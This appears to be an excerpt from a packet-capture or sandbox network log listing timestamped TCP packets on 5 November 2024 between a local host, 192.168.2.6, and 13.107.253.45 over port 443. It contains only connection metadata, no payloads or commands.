Nov 5, 2024 20:51:23.067882061 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.068893909 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.068917036 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.069370985 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.069376945 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.203644991 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.203669071 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.203722000 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.203739882 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.203941107 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.203948975 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.203974009 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.204030037 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.204051018 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.204062939 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.204071999 CET	49812	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.204073906 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.204081059 CET	443	49812	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.206777096 CET	49816	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.206813097 CET	443	49816	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.206923008 CET	49816	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.207067013 CET	49816	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.207079887 CET	443	49816	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.387867928 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.388319016 CET	49813	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.388346910 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.388775110 CET	49813	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.388782978 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.456454992 CET	443	49814	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.456881046 CET	49814	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.456906080 CET	443	49814	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.457415104 CET	49814	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.457420111 CET	443	49814	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.485280991 CET	443	49815	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.485639095 CET	49815	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.485651970 CET	443	49815	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.486181974 CET	49815	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.486187935 CET	443	49815	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.526119947 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.526140928 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.526191950 CET	49813	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.526206970 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.526391029 CET	49813	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.526401997 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.526418924 CET	49813	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.526546955 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.526573896 CET	443	49813	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.526617050 CET	49813	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.529292107 CET	49817	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.529325962 CET	443	49817	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.529386997 CET	49817	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.529582977 CET	49817	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.529589891 CET	443	49817	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.592127085 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.592535973 CET	49811	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.592550993 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.592933893 CET	49811	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.592940092 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.598383904 CET	443	49814	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.598491907 CET	443	49814	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.598540068 CET	49814	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.598633051 CET	49814	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.598649979 CET	443	49814	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.598660946 CET	49814	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.598669052 CET	443	49814	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.601581097 CET	49818	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.601622105 CET	443	49818	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.601675034 CET	49818	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.602087021 CET	49818	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.602104902 CET	443	49818	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.623498917 CET	443	49815	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.623914003 CET	443	49815	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.623980999 CET	49815	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.624011993 CET	49815	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.624028921 CET	443	49815	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.624039888 CET	49815	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.624047041 CET	443	49815	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.625988007 CET	49819	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.626020908 CET	443	49819	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.626281977 CET	49819	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.626399040 CET	49819	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.626409054 CET	443	49819	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.731050014 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.731074095 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.731138945 CET	49811	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.731152058 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.731168985 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.731221914 CET	49811	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.731331110 CET	49811	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.731332064 CET	49811	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.731348038 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.731355906 CET	443	49811	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.733829021 CET	49820	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.733885050 CET	443	49820	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.733980894 CET	49820	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.734319925 CET	49820	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.734338999 CET	443	49820	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.961721897 CET	443	49816	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.962209940 CET	49816	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.962234974 CET	443	49816	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:23.962745905 CET	49816	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:23.962774038 CET	443	49816	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.126966953 CET	443	49816	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.127041101 CET	443	49816	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.127245903 CET	49816	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.127285004 CET	49816	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.127304077 CET	443	49816	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.127310038 CET	49816	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.127322912 CET	443	49816	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.130028963 CET	49821	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.130064011 CET	443	49821	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.130306005 CET	49821	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.130455017 CET	49821	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.130469084 CET	443	49821	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.280955076 CET	443	49817	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.281793118 CET	49817	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.281812906 CET	443	49817	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.282263041 CET	49817	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.282267094 CET	443	49817	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.361571074 CET	443	49818	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.362082958 CET	49818	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.362097979 CET	443	49818	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.362597942 CET	49818	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.362605095 CET	443	49818	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.407969952 CET	443	49819	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.408591032 CET	49819	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.408601046 CET	443	49819	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.409049988 CET	49819	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.409054041 CET	443	49819	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.417323112 CET	443	49817	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.417622089 CET	443	49817	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.417720079 CET	49817	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.417787075 CET	49817	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.417800903 CET	443	49817	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.417809963 CET	49817	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.417814970 CET	443	49817	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.420548916 CET	49822	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.420595884 CET	443	49822	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.420818090 CET	49822	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.420974016 CET	49822	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.420990944 CET	443	49822	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.489608049 CET	443	49820	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.490324020 CET	49820	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.490348101 CET	443	49820	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.490979910 CET	49820	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.490988016 CET	443	49820	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.545634031 CET	443	49819	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.545722008 CET	443	49819	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.545784950 CET	49819	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.546091080 CET	49819	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.546108007 CET	443	49819	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.546302080 CET	49819	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.546307087 CET	443	49819	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.550574064 CET	49823	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.550626993 CET	443	49823	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.550802946 CET	49823	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.551240921 CET	49823	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.551259041 CET	443	49823	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.629378080 CET	443	49820	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.629450083 CET	443	49820	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.629528046 CET	49820	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.664616108 CET	443	49818	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.664715052 CET	443	49818	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.668895960 CET	49818	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.844165087 CET	49818	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.844187975 CET	443	49818	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.844213963 CET	49818	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.844218969 CET	443	49818	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.847781897 CET	49820	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.847805023 CET	443	49820	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.847840071 CET	49820	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.847850084 CET	443	49820	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.867819071 CET	49824	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.867846012 CET	443	49824	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.867930889 CET	49824	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.868859053 CET	49825	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.868897915 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.868973017 CET	49825	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.869118929 CET	49824	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.869132042 CET	443	49824	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.869221926 CET	49825	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.869234085 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.885309935 CET	443	49821	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.901104927 CET	49821	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.901133060 CET	443	49821	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:24.918682098 CET	49821	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:24.918689013 CET	443	49821	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.053472996 CET	443	49821	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.053544044 CET	443	49821	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.053633928 CET	49821	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.061326027 CET	49821	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.061353922 CET	443	49821	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.061384916 CET	49821	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.061391115 CET	443	49821	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.089823008 CET	49826	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.089837074 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.090065956 CET	49826	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.090332031 CET	49826	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.090342999 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.194247007 CET	443	49822	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.194788933 CET	49822	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.194806099 CET	443	49822	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.195239067 CET	49822	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.195245028 CET	443	49822	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.321264982 CET	443	49823	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.321757078 CET	49823	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.321793079 CET	443	49823	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.322215080 CET	49823	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.322222948 CET	443	49823	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.335529089 CET	443	49822	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.336256981 CET	443	49822	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.336349964 CET	49822	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.336425066 CET	49822	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.336437941 CET	443	49822	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.336491108 CET	49822	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.336497068 CET	443	49822	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.339116096 CET	49827	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.339154959 CET	443	49827	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.339226007 CET	49827	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.339385986 CET	49827	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.339401007 CET	443	49827	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.458522081 CET	443	49823	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.458703041 CET	443	49823	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.458762884 CET	49823	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.458914042 CET	49823	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.458933115 CET	443	49823	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.458942890 CET	49823	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.458949089 CET	443	49823	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.462650061 CET	49828	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.462691069 CET	443	49828	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.462795019 CET	49828	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.462954044 CET	49828	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.462965965 CET	443	49828	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.620899916 CET	443	49824	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.621376991 CET	49824	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.621396065 CET	443	49824	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.621822119 CET	49824	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.621828079 CET	443	49824	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.623029947 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.623363972 CET	49825	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.623377085 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.623867035 CET	49825	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.623872042 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.758235931 CET	443	49824	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.758301973 CET	443	49824	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.758353949 CET	49824	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.758560896 CET	49824	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.758579969 CET	443	49824	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.758591890 CET	49824	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.758598089 CET	443	49824	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.761410952 CET	49829	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.761452913 CET	443	49829	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.761622906 CET	49829	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.761745930 CET	49829	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.761760950 CET	443	49829	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.762792110 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.762814999 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.762861013 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.762870073 CET	49825	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.762912989 CET	49825	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.763089895 CET	49825	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.763108015 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.763117075 CET	49825	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.763123989 CET	443	49825	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.765295029 CET	49830	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.765335083 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.765396118 CET	49830	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.765508890 CET	49830	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.765521049 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.887461901 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.887937069 CET	49826	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.887954950 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:25.888401031 CET	49826	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:25.888406992 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.031279087 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.031543016 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.031589985 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.031594038 CET	49826	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.031662941 CET	49826	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.031722069 CET	49826	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.031722069 CET	49826	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.031728983 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.031735897 CET	443	49826	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.034595013 CET	49831	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.034625053 CET	443	49831	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.034677982 CET	49831	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.034807920 CET	49831	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.034821987 CET	443	49831	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.075763941 CET	443	49827	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.076287985 CET	49827	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.076303959 CET	443	49827	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.076719999 CET	49827	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.076731920 CET	443	49827	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.209202051 CET	443	49827	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.209326029 CET	443	49827	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.209395885 CET	49827	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.209515095 CET	49827	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.209515095 CET	49827	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.209531069 CET	443	49827	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.209539890 CET	443	49827	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.212582111 CET	49832	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.212609053 CET	443	49832	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.212766886 CET	49832	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.212908983 CET	49832	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.212924004 CET	443	49832	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.219106913 CET	443	49828	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.219532967 CET	49828	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.219553947 CET	443	49828	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.220041990 CET	49828	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.220046997 CET	443	49828	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.354337931 CET	443	49828	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.354468107 CET	443	49828	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.354537010 CET	49828	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.354693890 CET	49828	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.354711056 CET	443	49828	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.354741096 CET	49828	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.354747057 CET	443	49828	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.357368946 CET	49833	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.357409954 CET	443	49833	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.357563972 CET	49833	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.357719898 CET	49833	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.357729912 CET	443	49833	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.516613007 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.517055035 CET	49830	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.517085075 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.517605066 CET	49830	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.517615080 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.524442911 CET	443	49829	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.524774075 CET	49829	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.524787903 CET	443	49829	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.525213957 CET	49829	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.525218964 CET	443	49829	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.652256966 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.652384043 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.652431011 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.652441978 CET	49830	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.652472019 CET	49830	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.652581930 CET	49830	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:26.652596951 CET	443	49830	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:26.652606964 CET	49830	443	192.168.2.6	13.107.253.45
